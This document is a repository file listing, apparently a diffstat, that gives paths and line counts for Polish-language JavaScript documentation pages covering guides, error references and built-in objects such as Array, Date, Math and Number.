-rw-r--r--files/pl/web/javascript/eventloop/index.html98
-rw-r--r--files/pl/web/javascript/guide/control_flow_and_error_handling/index.html380
-rw-r--r--files/pl/web/javascript/guide/funkcje/index.html642
-rw-r--r--files/pl/web/javascript/guide/index.html122
-rw-r--r--files/pl/web/javascript/guide/introduction/index.html150
-rw-r--r--files/pl/web/javascript/guide/iterators_and_generators/index.html165
-rw-r--r--files/pl/web/javascript/guide/loops_and_iteration/index.html332
-rw-r--r--files/pl/web/javascript/guide/o_tym_przewodniku/index.html138
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/index.html10
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/blok_instrukcji/index.html41
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/definiowanie_funkcji/index.html61
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalności/index.html20
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html20
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html24
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html29
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html25
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html26
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html27
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/index.html23
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/index.html875
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_komentarzy/index.html26
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html50
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/index.html42
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_throw/index.html45
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_try...catch/index.html114
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/index.html23
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_break/index.html27
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_continue/index.html51
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_do_...while/index.html23
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_for/index.html56
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_label/index.html23
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_while/index.html38
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_warunkowe/index.html89
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/literały/index.html207
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/o_tym_przewodniku/index.html159
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_i_własności/index.html49
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/index.html24
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html94
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html14
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html87
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html50
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html72
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html83
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html12
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html92
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/index.html112
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operacje_na_łańcuchach/index.html17
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_arytmetyczne/index.html48
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_logiczne/index.html72
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_porównania/index.html73
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_przypisania/index.html67
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_specjalne/index.html227
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/index.html47
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/komunikacja_między_java_a_javascript/index.html39
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/index.html24
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/konwersja_javascript_do_java/index.html320
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/index.html24
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/powrót_dziedziczenia_własności/wartości_lokalne_vs._dziedziczone/index.html71
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/index.html37
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/tworzenie_hierarchii/index.html149
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dodawanie_własności/index.html23
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dziedziczenie_własności/index.html33
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/index.html19
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście/index.html49
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/przykłady_wyrażeń_regularnych/index.html122
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_zamknięciami/index.html286
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/stałe/index.html29
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_metod/index.html48
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_własności_typu_obiektu/index.html19
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/indeksowanie_własności_obiektu/index.html16
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/index.html22
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/usuwanie_własności/index.html26
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/używanie_inicjacji_obiektu/index.html36
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_'this'_do_obiektu_referencji/index.html32
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_konstruktorów_funkcji/index.html62
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_wyrażenia_regularnego/index.html43
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/unicode/index.html110
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wartości/index.html46
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wyrażenia/index.html22
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wywołanie_funkcji/index.html45
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zapisywanie_wzorca_wyrażenia_regularnego/index.html215
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zastosowanie_obiektu_arguments/index.html41
-rw-r--r--files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zmienne/index.html63
-rw-r--r--files/pl/web/javascript/guide/składnia_i_typy/index.html595
-rw-r--r--files/pl/web/javascript/index.html131
-rw-r--r--files/pl/web/javascript/na_początek/index.html903
-rw-r--r--files/pl/web/javascript/new_in_javascript/index.html10
-rw-r--r--files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.5/index.html36
-rw-r--r--files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.6/index.html62
-rw-r--r--files/pl/web/javascript/nowości_w_javascript_1.4/index.html24
-rw-r--r--files/pl/web/javascript/nowości_w_javascript_1.8/index.html135
-rw-r--r--files/pl/web/javascript/o_javascript/index.html57
-rw-r--r--files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html965
-rw-r--r--files/pl/web/javascript/reference/classes/extends/index.html88
-rw-r--r--files/pl/web/javascript/reference/classes/index.html410
-rw-r--r--files/pl/web/javascript/reference/classes/konstruktor/index.html188
-rw-r--r--files/pl/web/javascript/reference/classes/private_class_fields/index.html205
-rw-r--r--files/pl/web/javascript/reference/classes/public_class_fields/index.html269
-rw-r--r--files/pl/web/javascript/reference/classes/static/index.html138
-rw-r--r--files/pl/web/javascript/reference/errors/brakujący_średnik_po_własności_id/index.html77
-rw-r--r--files/pl/web/javascript/reference/errors/index.html28
-rw-r--r--files/pl/web/javascript/reference/errors/invalid_array_length/index.html79
-rw-r--r--files/pl/web/javascript/reference/errors/invalid_date/index.html59
-rw-r--r--files/pl/web/javascript/reference/errors/json_bad_parse/index.html114
-rw-r--r--files/pl/web/javascript/reference/errors/missing_curly_after_function_body/index.html72
-rw-r--r--files/pl/web/javascript/reference/errors/missing_initializer_in_const/index.html61
-rw-r--r--files/pl/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html59
-rw-r--r--files/pl/web/javascript/reference/errors/missing_semicolon_before_statement/index.html82
-rw-r--r--files/pl/web/javascript/reference/errors/more_arguments_needed/index.html44
-rw-r--r--files/pl/web/javascript/reference/errors/not_a_function/index.html84
-rw-r--r--files/pl/web/javascript/reference/errors/not_defined/index.html66
-rw-r--r--files/pl/web/javascript/reference/errors/property_access_denied/index.html53
-rw-r--r--files/pl/web/javascript/reference/errors/unexpected_type/index.html69
-rw-r--r--files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html355
-rw-r--r--files/pl/web/javascript/reference/functions/get/index.html216
-rw-r--r--files/pl/web/javascript/reference/functions/index.html657
-rw-r--r--files/pl/web/javascript/reference/functions/parametry_domyślne/index.html225
-rw-r--r--files/pl/web/javascript/reference/functions/set/index.html146
-rw-r--r--files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html60
-rw-r--r--files/pl/web/javascript/referencje/funkcje/arguments/caller/index.html48
-rw-r--r--files/pl/web/javascript/referencje/funkcje/arguments/index.html129
-rw-r--r--files/pl/web/javascript/referencje/funkcje/arguments/length/index.html59
-rw-r--r--files/pl/web/javascript/referencje/index.html70
-rw-r--r--files/pl/web/javascript/referencje/komentarz/index.html54
-rw-r--r--files/pl/web/javascript/referencje/liveconnect/index.html23
-rw-r--r--files/pl/web/javascript/referencje/liveconnect/jsexception/index.html93
-rw-r--r--files/pl/web/javascript/referencje/liveconnect/jsobject/index.html186
-rw-r--r--files/pl/web/javascript/referencje/o_tym_dokumencie/index.html58
-rw-r--r--files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html31
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/concat/index.html71
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html181
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/entries/index.html77
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/every/index.html89
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/fill/index.html185
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/filter/index.html150
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/find/index.html278
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/findindex/index.html214
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/flat/index.html173
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/foreach/index.html104
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/from/index.html248
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/includes/index.html110
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/index.html279
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/indexof/index.html95
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/isarray/index.html139
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/join/index.html50
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/keys/index.html120
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html114
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/length/index.html53
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/map/index.html93
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/of/index.html92
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/pop/index.html138
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/prototype/index.html12
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/push/index.html51
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/reduce/index.html300
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html344
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/reverse/index.html55
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/shift/index.html48
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/slice/index.html99
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/some/index.html110
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/sort/index.html122
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/splice/index.html86
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html128
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/tosource/index.html62
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/tostring/index.html42
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/unshift/index.html56
-rw-r--r--files/pl/web/javascript/referencje/obiekty/array/values/index.html84
-rw-r--r--files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html222
-rw-r--r--files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html79
-rw-r--r--files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html78
-rw-r--r--files/pl/web/javascript/referencje/obiekty/bigint/index.html293
-rw-r--r--files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html95
-rw-r--r--files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html59
-rw-r--r--files/pl/web/javascript/referencje/obiekty/boolean/index.html111
-rw-r--r--files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html48
-rw-r--r--files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html51
-rw-r--r--files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html41
-rw-r--r--files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html43
-rw-r--r--files/pl/web/javascript/referencje/obiekty/dataview/index.html118
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/constructor/index.html18
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getdate/index.html47
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getday/index.html47
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html47
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/gethours/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html48
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/gettime/index.html47
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html35
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/getyear/index.html97
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/index.html138
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/now/index.html43
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/parse/index.html74
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/prototype/index.html115
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setdate/index.html43
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html58
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/sethours/index.html66
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html60
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html56
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html56
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/settime/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html57
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html62
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html57
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html52
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html52
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/setyear/index.html52
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/tojson/index.html70
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html55
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html51
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html52
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/tosource/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/tostring/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html43
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/utc/index.html69
-rw-r--r--files/pl/web/javascript/referencje/obiekty/date/valueof/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/decodeuri/index.html39
-rw-r--r--files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html41
-rw-r--r--files/pl/web/javascript/referencje/obiekty/encodeuri/index.html72
-rw-r--r--files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html38
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html81
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/filename/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/index.html246
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html57
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/message/index.html108
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/name/index.html109
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/prototype/index.html113
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/stack/index.html127
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/tosource/index.html60
-rw-r--r--files/pl/web/javascript/referencje/obiekty/error/tostring/index.html98
-rw-r--r--files/pl/web/javascript/referencje/obiekty/escape/index.html120
-rw-r--r--files/pl/web/javascript/referencje/obiekty/evalerror/index.html87
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/apply/index.html289
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/arguments/index.html41
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/arity/index.html23
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/bind/index.html332
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/caller/index.html69
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/displayname/index.html119
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/index.html237
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/length/index.html42
-rw-r--r--files/pl/web/javascript/referencje/obiekty/function/tostring/index.html56
-rw-r--r--files/pl/web/javascript/referencje/obiekty/generator/index.html178
-rw-r--r--files/pl/web/javascript/referencje/obiekty/index.html193
-rw-r--r--files/pl/web/javascript/referencje/obiekty/infinity/index.html35
-rw-r--r--files/pl/web/javascript/referencje/obiekty/isfinite/index.html56
-rw-r--r--files/pl/web/javascript/referencje/obiekty/isnan/index.html53
-rw-r--r--files/pl/web/javascript/referencje/obiekty/java/index.html29
-rw-r--r--files/pl/web/javascript/referencje/obiekty/javaarray/index.html68
-rw-r--r--files/pl/web/javascript/referencje/obiekty/javaarray/length/index.html29
-rw-r--r--files/pl/web/javascript/referencje/obiekty/javaarray/tostring/index.html38
-rw-r--r--files/pl/web/javascript/referencje/obiekty/javaclass/index.html60
-rw-r--r--files/pl/web/javascript/referencje/obiekty/javaobject/index.html67
-rw-r--r--files/pl/web/javascript/referencje/obiekty/javapackage/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/json/index.html147
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/clear/index.html87
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/delete/index.html85
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/entries/index.html128
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/foreach/index.html104
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/get/index.html80
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/has/index.html85
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/index.html458
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/keys/index.html78
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/set/index.html96
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/size/index.html65
-rw-r--r--files/pl/web/javascript/referencje/obiekty/map/values/index.html77
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/abs/index.html54
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/acos/index.html59
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/asin/index.html58
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/atan/index.html51
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/atan2/index.html63
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/ceil/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/cos/index.html52
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/e/index.html40
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/exp/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/floor/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/index.html94
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/ln10/index.html42
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/ln2/index.html40
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/log/index.html54
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/log10e/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/log2e/index.html42
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/max/index.html43
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/min/index.html44
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/pi/index.html40
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/pow/index.html49
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/random/index.html67
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/round/index.html50
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/sign/index.html118
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/sin/index.html51
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html46
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html39
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html41
-rw-r--r--files/pl/web/javascript/referencje/obiekty/math/tan/index.html53
-rw-r--r--files/pl/web/javascript/referencje/obiekty/nan/index.html45
-rw-r--r--files/pl/web/javascript/referencje/obiekty/netscape/index.html29
-rw-r--r--files/pl/web/javascript/referencje/obiekty/null/index.html134
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/constructor/index.html22
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html76
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/index.html111
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html88
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/isnan/index.html108
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/max_value/index.html35
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/min_value/index.html39
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/nan/index.html48
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html53
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html57
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html53
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html61
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html182
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html56
-rw-r--r--files/pl/web/javascript/referencje/obiekty/number/tostring/index.html59
-rw-r--r--files/pl/web/javascript/referencje/obiekty/object/assign/index.html307
